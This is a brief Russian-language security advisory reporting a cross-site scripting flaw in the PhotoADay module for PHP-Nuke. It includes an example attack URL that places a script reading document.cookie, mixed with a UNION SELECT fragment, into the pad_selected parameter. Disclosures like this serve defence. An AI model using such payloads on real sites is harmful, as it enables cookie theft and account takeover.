Программа: PhotoADay модуль для PHP-Nuke
Уязвимость обнаружена в 'PhotoADay' PHP-Nuke модуле. Удаленный пользователь может выполнить XSS нападение.
Пример:
http://[target]/modules.php?name=Photo_A_Day &action=single&pad_selected=
44%20UNION%20SELECT%20< script>alert(document.cookie);</script>
